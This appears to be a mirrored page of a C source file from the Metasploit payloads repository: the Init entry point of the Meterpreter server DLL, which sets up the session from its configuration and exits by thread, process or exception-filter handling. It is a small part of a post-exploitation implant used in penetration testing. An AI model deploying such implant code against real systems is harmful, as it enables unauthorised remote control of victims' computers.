1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-18 15:14:10 +01:00
bwatters 5208d17131 Revert "Land , Add universal unhooking call to meterpreter server"
This reverts commit f148f8cb38267f077c31cc2ccad78fcb802ca5c9, reversing
changes made to 87d241046853d44a7fa2c1e5b6aba93a848679d8.
2018-09-10 16:44:55 -05:00

37 lines
1014 B
C
Executable File

#include "metsrv.h"
#include "config.h"
#include <windows.h> // for EXCEPTION_ACCESS_VIOLATION
#include <excpt.h>
#define UnpackAndLinkLibs(p, s)
DWORD __declspec(dllexport) Init(SOCKET fd)
{
// In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually
// a pointer to the metserv configuration, so do a nasty cast and move on.
MetsrvConfig* metConfig = (MetsrvConfig*)fd;
dprintf("[METSRV] Getting ready to init with config %p", metConfig);
DWORD result = server_setup(metConfig);
dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func);
// We also handle exit func directly in metsrv now because the value is added to the
// configuration block and we manage to save bytes in the stager/header as well.
switch (metConfig->session.exit_func)
{
case EXITFUNC_SEH:
SetUnhandledExceptionFilter(NULL);
break;
case EXITFUNC_THREAD:
ExitThread(0);
break;
case EXITFUNC_PROCESS:
ExitProcess(0);
break;
default:
break;
}
return result;
}